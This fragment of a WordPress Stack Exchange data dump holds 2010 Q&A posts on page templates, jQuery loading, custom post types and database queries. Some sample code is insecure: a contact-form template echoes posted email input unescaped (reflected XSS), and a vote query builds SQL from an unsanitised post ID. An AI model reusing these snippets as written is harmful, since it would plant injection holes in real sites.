templates):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101203-012104.png&quot; alt=&quot;Using a Page Template in WordPress 3.0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;  Template Name: Contact Form&#xA;*/&#xA;define('ADMIN_USER','mikeschinkel');&#xA;if (count($_POST)) {&#xA;  $admin_user = get_userdatabylogin(ADMIN_USER);&#xA;  $registered_email = $_POST['email'];&#xA;  wp_mail($admin_user-&amp;gt;user_email,&#xA;    'New Site Registration',&#xA;    &quot;New Site Registration:\n\tEmail: {$registered_email}.&quot;);&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;?php if (count($_POST)): ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;Hey &amp;lt;?php echo $_POST['email']; ?&amp;gt;, thanks for registering!&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php else: ?&amp;gt;&#xA;  &amp;lt;form method=&quot;post&quot;&amp;gt;&#xA;    Email: &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Register&quot; /&amp;gt;&#xA;  &amp;lt;/form&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After you've created your page with the above page template it might look something like this on your external site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101203-012931.png&quot; alt=&quot;Simple Registration Form for WordPress, Part 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this might be what it looks like after a visitor registers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101203-013134.png&quot; alt=&quot;Simple Registration Form for WordPress, Part 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-03T06:34:50.293" CommentCount="4" />
  <row Id="4821" PostTypeId="2" ParentId="1567" CreationDate="2010-12-03T06:44:36.343" Score="2" ViewCount="" Body="&lt;h2&gt;Displaying information for logged in users&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_user_logged_in() ) {&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is not working in functions.php file. You can use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !function_exists('is_user_logged_in') ) :&#xA;&#xA; function is_user_logged_in() {&#xA;$user = wp_get_current_user();&#xA;&#xA;if ( $user-&amp;gt;id == 0 ){&#xA;// This section if user is not logged in&#xA;} else {&#xA;// This section if user is logged in&#xA;}&#xA;}&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1372" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T13:42:19.693" LastActivityDate="2011-01-26T13:42:19.693" CommunityOwnedDate="2010-12-03T06:44:36.343" CommentCount="2" />
  <row Id="4822" PostTypeId="2" ParentId="4815" CreationDate="2010-12-03T06:51:30.957" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@pingu:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great question!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I build custom CMSes for clients, I don't set up blogs for clients so I find that for the types of clients I service that I'm using almost exclusively custom plugins. My clients typically want things exactly like they want them and I find very few off-the-shelf plugins will meet their needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it's not that I think the concept of plugins is at fault. On the contrary I think it's possible for plugins to exist so that most of the time I would be able to use off-the-shelf plugins it's just that most plugins available today seem to be aimed at the blogging end-user  and not architected with the professional developer in mind who uses WordPress as a platform for delivering solutions to clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've found working with my clients is a set of use-case patterns for plugins that I think would address at least 50% of the need for custom code, maybe more. After investing almost a year's time on these plugins I've decided to release them as a product as some point in the not too distant future. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the mean time, however, I'll need to find some people who can tell me what they main needs are in exchange for the ability to use the tools I'm developing. If you have interest you can find my email address on my profile page; just shoot me an email and let me know what areas you are seeing the most in.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-03T06:51:30.957" />
  <row Id="4823" PostTypeId="2" ParentId="4790" CreationDate="2010-12-03T06:53:47.447" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;get_adjacent_posts()&lt;/code&gt; has several filters for components of generated SQL query, including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;get_{$adjacent}_post_join&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_{$adjacent}_post_where&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$adjacent&lt;/code&gt; can be &lt;code&gt;next&lt;/code&gt; or &lt;code&gt;previous&lt;/code&gt;. &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.2/wp-includes/link-template.php#L1037&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is no easy way to flip it from categories to tags, but you can manipulate SQL query and add own conditions (or change to them completely).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-03T06:53:47.447" CommentCount="1" />
  <row Id="4824" PostTypeId="2" ParentId="26" CreationDate="2010-12-03T06:59:46.913" Score="2" ViewCount="" Body="&lt;p&gt;Checkout Estate from WooThemes &lt;a href=&quot;http://www.woothemes.com/amember/go.php?r=35280&amp;amp;i=b22&quot; rel=&quot;nofollow&quot;&gt;http://www.woothemes.com/amember/go.php?r=35280&amp;amp;i=b22&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be launching a complete Real Estate solution based on WordPress very soon @ realtor.io. It won't be just a theme, it will be a complete solution including free domain, premium hosting with page.ly, theme, total customization, etc.&lt;/p&gt;&#xA;" OwnerUserId="1792" LastActivityDate="2010-12-03T06:59:46.913" />
  <row Id="4825" PostTypeId="2" ParentId="4809" CreationDate="2010-12-03T07:00:44.527" Score="0" ViewCount="" Body="&lt;p&gt;If you are only interested in Loops this is what I usually use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'posts_request', 'dump_request' );&#xA;&#xA;function dump_request( $input ) {&#xA;&#xA;    var_dump($input);&#xA;&#xA;    return $input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-03T07:00:44.527" />
  <row Id="4826" PostTypeId="2" ParentId="4812" CreationDate="2010-12-03T07:30:27.657" Score="1" ViewCount="" Body="&lt;p&gt;The super_admin has access to all admininstrator APIs and also the multi-site functions.&#xA;If you go to the codex page, it will say so: &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#Capability_vs._Role_Table&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Roles_and_Capabilities#Capability_vs._Role_Table&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the multisite functions here: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference#Multisite_functions&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference#Multisite_functions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do a more fine-grain investigation of what it can call, I suggest you get familiar with the WP code. The funtion you should grep for is_super_admin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps. &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2010-12-03T07:30:27.657" />
  <row Id="4827" PostTypeId="2" ParentId="4815" CreationDate="2010-12-03T08:03:48.053" Score="3" ViewCount="" Body="&lt;p&gt;This is a very good question.  There are a few general off the shelf plugins that I use regularly that solve basic issues like performance / caching, SEO, and forms (Gravity Forms).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For almost everything else its completely custom. Most of the custom work involves creating a way for the client to add specifically defined content types to their site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance a client might request a way to post job openings.  This requires a custom post type with custom meta boxes for stuff like job title, salary, benefits, education requirements, job description etc.  Then an online application form would have to be created with an apply now button embedded or hooked into the single-job.php template.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example is white labeling or customizing the dashboard with a custom login screen using the clients logo and removing some of the WordPress branding along with some of the dashboard widgets.  Some projects even require creating custom dashboard widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There really aren't many off the shelf plugins that can satisfy the needs of a fully fledged custom CMS.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-12-03T08:03:48.053" />
  <row Id="4828" PostTypeId="2" ParentId="4786" CreationDate="2010-12-03T09:15:25.280" Score="1" ViewCount="" Body="&lt;h3&gt;A better solution would be to create a &quot;Project&quot; post type and a custom taxonomy to separate the different types of projects.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I recently did this on my own website because I wanted a way to keep my projects separate from the rest of my content.  I used jQuery cycle instead of Nivo but the concept is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom post types have a built in user interface so it wont be confusing for your client to add new projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will also allow you to customize the way the &quot;Projects&quot; are displayed using a single-project.php template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I won't go into how to register post types because &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;The Codex explains this very well&lt;/a&gt; but I will show you how to get all the attached images to the post and display them in the slider.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   &#xA;//The following code is for a sample single-post_type.php&#xA;?&amp;gt;&#xA;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;        &amp;lt;h1 class=&quot;project-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;slider&quot;&amp;gt;&#xA;&#xA;                &amp;lt;?php&#xA;                // This gets all the images attached to the current post inside the loop&#xA;                    $args = array(&#xA;                    'post_type' =&amp;gt; 'attachment',&#xA;                    'posts_per_page' =&amp;gt; -1,&#xA;                    'post_status' =&amp;gt; null,&#xA;                    'post_parent' =&amp;gt; $post-&amp;gt;ID&#xA;                    ); &#xA;                $attachments = get_posts($args);&#xA;                if ($attachments) {&#xA;                    foreach ($attachments as $attachment) {&#xA;&#xA;                echo wp_get_attachment_image($attachment-&amp;gt;ID,'medium', false);&#xA;                }&#xA;                    } ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- /slider --&amp;gt;&#xA;&#xA;        &amp;lt;?php the_content(); ?&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- /post --&amp;gt;   &#xA;&#xA;    &amp;lt;?php endwhile; else: ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;?php _e('Not Found','your_theme_name'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-12-03T09:15:25.280" CommentCount="4" />
  <row Id="4829" PostTypeId="1" CreationDate="2010-12-03T09:53:29.677" Score="2" ViewCount="104" Body="&lt;p&gt;how do i link stackoverflow widget in wordpress to my profile in stackoverflow to show badges, reputaions ??&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:34:11.083" LastActivityDate="2011-01-11T07:34:11.083" Title="link wordpress and stackoverflow" Tags="&lt;widgets&gt;&lt;stackoverflow&gt;" AnswerCount="1" />
  <row Id="4830" PostTypeId="1" AcceptedAnswerId="4832" CreationDate="2010-12-03T10:00:29.687" Score="0" ViewCount="139" Body="&lt;p&gt;i have a form which is displayed after every post, so i coded it in single.php,&#xA;but the form is too long so i thought of putting it in jquery section, where if the user wants then he/she can click on open and the form will slide down&#xA;for this purpose i used slide up/down jquery http : //api . jquery . com/slideDown/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i integrated the jquery in proper order in header.php, here is my header.php jquery code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_enqueue_script(&quot;jquery&quot;); ?&amp;gt;&#xA;&amp;lt;?php wp_head(); ?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo(&quot;template_url&quot;); ?&amp;gt;/functions/js/jquery-1.4.4.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;      &amp;lt;script&amp;gt;&#xA;      $(document.body).click(function () {&#xA;      if ($(&quot;h6:first&quot;).is(&quot;:hidden&quot;)) {&#xA;      $(&quot;h6&quot;).slideDown(&quot;slow&quot;);&#xA;      } else {&#xA;      $(&quot;h6&quot;).hide();&#xA;      }&#xA;      });&#xA;      &amp;lt;/script&amp;gt;&#xA;&amp;lt;?php woo_head(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is my single.php code,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;     &amp;lt;p&amp;gt;&amp;lt;h6&amp;gt;&#xA;     &amp;lt;?php echo do_shortcode(&quot;[contact-form 2]&quot;); ?&amp;gt;&amp;lt;/h6&amp;gt;&#xA;     &amp;lt;/p&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but after doing all this thing my sidebar i.e woo_tabs is not proper&#xA;you can check the image&#xA;&lt;a href=&quot;http://i52.tinypic.com/2gxe90p.jpg&quot; rel=&quot;nofollow&quot;&gt;http://i52.tinypic.com/2gxe90p.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here my woo tabs instead of coming side by side, it is coming down,&#xA;is my code right?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2010-12-03T14:26:45.787" Title="need jquery help" Tags="&lt;jquery&gt;" AnswerCount="1" />
  <row Id="4831" PostTypeId="1" AcceptedAnswerId="4833" CreationDate="2010-12-03T10:03:14.517" Score="1" ViewCount="98" Body="&lt;p&gt;Which files do i edit to make the textarea for tag &amp;amp; cat description bigger?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe there's an easier way through functions.php to save having to do it every-time i update wp?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1778" LastActivityDate="2010-12-03T10:50:25.367" Title="Making the category &amp; tag Description textarea bigger" Tags="&lt;categories&gt;&lt;admin&gt;" AnswerCount="1" />
  <row Id="4832" PostTypeId="2" ParentId="4830" CreationDate="2010-12-03T10:41:33.687" Score="1" ViewCount="" Body="&lt;p&gt;Trim your above code down to..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_enqueue_script( &quot;my_script&quot;, plugins_url( '/your-script-name.js', __FILE__ ), array( 'jquery' ) ); ?&amp;gt;&#xA;&amp;lt;?php wp_head(); ?&amp;gt;&#xA;&amp;lt;?php woo_head(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Place your jQuery into a JS file, then enqueue it with jQuery as a dependancy(as above), this will ensure jQuery is loaded before your script is. Your script also needs to use a &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script#jQuery_noConflict_wrappers&quot; rel=&quot;nofollow&quot;&gt;no-conflict wrapper&lt;/a&gt;, and should be updated to read..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;    $('a#my_id').click(function () {&#xA;        if($(&quot;h6:first&quot;).is(&quot;:hidden&quot;))&#xA;            $(&quot;h6&quot;).slideDown(&quot;slow&quot;);&#xA;        else &#xA;            $(&quot;h6&quot;).hide();&#xA;        return false;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or something to that degree..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; This is wrong..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_enqueue_script(&quot;jquery&quot;); ?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo(&quot;template_url&quot;); ?&amp;gt;/functions/js/jquery-1.4.4.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By doing that you're instructing WordPress to load the included version of jQuery, and then also including your own, so essentially you're loading two versions of jQuery(you only need one, i'd suggest the one WordPress ships with - per above suggested code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; jQuery updated inline with request in comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accompanying HTML for link to work inline with jQUery.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a id=&quot;my_id&quot; href=&quot;#showform&quot;&amp;gt;My Special Link&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; I'm still unclear exactly what this jQuery needs to do for you, so i've simply updated the code posted earlier, i hope that's what you're aiming for... else please please clarify with more details.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-03T14:26:45.787" LastActivityDate="2010-12-03T14:26:45.787" CommentCount="8" />
  <row Id="4833" PostTypeId="2" ParentId="4831" CreationDate="2010-12-03T10:50:25.367" Score="1" ViewCount="" Body="&lt;p&gt;Hook onto the edit-tags page and insert some additional styling to adjust the textarea, the ID remains the same for post tags, categories and i think other taxonomies to..&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Adjust CSS for taxonomy management page&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Example only, tailor to suit you needs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_styles-edit-tags.php', 'resize_description_field' );&#xA;function resize_description_field() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;        textarea#tag-description { height:300px!important; }&#xA;    &amp;lt;/style&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-03T10:50:25.367" CommentCount="2" />
  <row Id="4834" PostTypeId="1" AcceptedAnswerId="4837" CreationDate="2010-12-03T11:39:33.940" Score="1" ViewCount="190" Body="&lt;p&gt;I would like to know if it is possible to host a wordpress blog on the subdirectory of a rails application:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance: I would like to have domain.com/blog instead of having my blog on a subdomain: blog.domain.com .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using lighttpd, but I can switch to something else if there is a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1796" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-12-04T03:02:49.787" LastActivityDate="2010-12-16T02:02:42.283" Title="Host wordpress on a subdirectory of a Rails application" Tags="&lt;hosting&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="4835" PostTypeId="2" ParentId="4834" CreationDate="2010-12-03T12:58:57.880" Score="3" ViewCount="" Body="&lt;p&gt;As long as you don't have conflicting htaccess directives, you should be fine. I'd still suggest you stick to the subdomain, though. Doing so is much cleaner for cookies (as well as for sessions if your RoR app uses any of the latter).&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-03T12:58:57.880" />
  <row Id="4836" PostTypeId="2" ParentId="4812" CreationDate="2010-12-03T14:03:45.217" Score="1" ViewCount="" Body="&lt;p&gt;&quot; I'd like to know which capabilities (like edit_posts, delete_posts) does the super_admin has the admin doesn't have. &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install plugins &amp;amp; themes, upgrade the site. Admins in a network can't do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I swear the codex has this listed somewhere...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Programmatically, if you're looking to check for this, just use an if is_super_admin, not a has_cap.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-12-03T14:03:45.217" />
  <row Id="4837" PostTypeId="2" ParentId="4834" CreationDate="2010-12-03T14:23:20.277" Score="6" ViewCount="" Body="&lt;p&gt;You can also set an apache Alias to say /blog is /path/to/wordpress&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so it's technically not inside your RoR app, you can deploy/make changes to the RoR app all day long then, without the need to worry about overwriting wordpress files. &lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-12-03T14:23:20.277" />
  <row Id="4838" PostTypeId="2" ParentId="4829" CreationDate="2010-12-03T14:34:52.750" Score="6" ViewCount="" Body="&lt;p&gt;html:  &lt;a href=&quot;http://wordpress.stackexchange.com/users/flair&quot;&gt;http://wordpress.stackexchange.com/users/flair&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2010-12-03T14:34:52.750" />
  <row Id="4839" PostTypeId="1" AcceptedAnswerId="4840" CreationDate="2010-12-03T14:36:36.633" Score="1" ViewCount="126" Body="&lt;p&gt;Guys I know this is the stupid question but need a little help, I need to put ads on my homepage as I have on my post page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/mNARR.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the ads I get on my post page (i.e &lt;code&gt;single.php&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want the same thing on my home page over here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/mfAh2.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tag like I did on &lt;code&gt;single.php&lt;/code&gt;, but it is not working.&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-12-03T15:13:23.863" LastActivityDate="2010-12-03T15:13:23.863" Title="How can I add Google ads to my home page?" Tags="&lt;adsense&gt;" AnswerCount="1" />
  <row Id="4840" PostTypeId="2" ParentId="4839" CreationDate="2010-12-03T14:51:58.363" Score="1" ViewCount="" Body="&lt;p&gt;How do you have your home page set up and what template are you trying to modify? Usually it is &lt;code&gt;index.php&lt;/code&gt; or &lt;code&gt;home.php&lt;/code&gt;, but it can also be &lt;code&gt;front-page.php&lt;/code&gt; or even something completely different from defaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#The_Template_Hierarchy_In_Detail&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-03T14:51:58.363" CommentCount="5" />
  <row Id="4841" PostTypeId="1" CreationDate="2010-12-03T15:04:20.230" Score="0" ViewCount="105" Body="&lt;p&gt;I have a widget plugin that I've created, that lists about 10 fieldsets. jQuery runs at the beginning and hides and fieldsets that have no values. There are also buttons that allow to &quot;Add&quot; and &quot;Remove&quot; fieldsets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works great except for when its time to &quot;Save&quot;. After clicking Save all of the jQuery stops working, all of the hidden fieldsets are shown, and the &quot;Add&quot; and &quot;Remove&quot; buttons no longer work. The only way to continue using the widget properly is to refresh the page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone idea what might be causing this, or a possible solution?&lt;/p&gt;&#xA;" OwnerUserId="1769" LastActivityDate="2010-12-03T21:22:16.127" Title="Widget &quot;Save&quot; resetting jQuery hidden fields" Tags="&lt;widgets&gt;&lt;jquery&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="4842" PostTypeId="1" AcceptedAnswerId="4847" CreationDate="2010-12-03T16:05:58.850" Score="1" ViewCount="107" Body="&lt;p&gt;I'm using the mysql &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/comparison-operators.html#function_greatest&quot; rel=&quot;nofollow&quot;&gt;GREATEST()&lt;/a&gt; function to compare two table fields and display in a loop either one with the highest integer value. The 2 fields consist of vote scores for posts: UP or DOWN.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function vote_results($post_id) { &#xA;  global $wpdb; &#xA;  $table = $wpdb-&amp;gt;prefix . &quot;post_votes&quot;;    &#xA;  $results = $wpdb-&amp;gt;get_row( &quot;SELECT GREATEST (up, down) FROM $table WHERE voted_post_id = $post_id&quot; );&#xA;  echo $results-&amp;gt;up; //echo if highest value&#xA;  echo $results-&amp;gt;down; //echo if highest value&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in my loop I call the function but get &lt;code&gt;Notice: Undefined property: stdClass::$up&lt;/code&gt; for &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $results-&amp;gt;up;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the same notice for &lt;code&gt;down&lt;/code&gt;. I'm not sure what I'm doing wrong here.&lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2010-12-03T21:00:40.607" Title="greatest() function returns undefined property" Tags="&lt;plugins&gt;&lt;database&gt;&lt;query-posts&gt;&lt;functions&gt;&lt;mysql&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="4843" PostTypeId="2" ParentId="4209" CreationDate="2010-12-03T16:17:53.517" Score="0" ViewCount="" Body="&lt;p&gt;That is an interesting question, there is the &lt;a href=&quot;http://podscms.org/&quot; rel=&quot;nofollow&quot;&gt;Pods CMS&lt;/a&gt; plugin which does allow relationships between items, they call the relationships PICK columns. This is a fairly well supported and widely used plugin, the downside for me is that it uses the nicEdit HTML editor instead of the standard WordPress TinyMCE editor. So you don't get the full WordPress post functionality out of the box although you can code your way around it. The ideal solution would be to have a combination of both custom posts and Pods CMS Framework then you could say that WP is well on it's way to being a full-blown CMS. THe other thing to note is that Pods CMS does create it's own tables so that is a useful feature. &lt;/p&gt;&#xA;" OwnerUserId="795" LastActivityDate="2010-12-03T16:17:53.517" />
  <row Id="4844" PostTypeId="1" CreationDate="2010-12-03T17:12:50.193" Score="1" ViewCount="242" Body="&lt;p&gt;I have seen &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1878/custom-post-type-archives-by-date-and-taxonomy&quot;&gt;this question&lt;/a&gt; but can't wrap my head around actually filtering on the taxonomy as well.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially what I'm looking for is an archives page for the taxonomy such as mysite.com/movies (which the previous question answers), but to filter on custom taxonomy within the custom post type such as Settings =&gt; New York, Berlin so that you can use links such as mysite.com/movies/new-york.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers as to what my rewrite rules should be would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1800" LastActivityDate="2010-12-03T18:00:19.700" Title="How can you handle rewrite rules for custom post types with option to filter on custom taxonomy terms?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;url-rewriting&gt;" AnswerCount="1" FavoriteCount="1" />
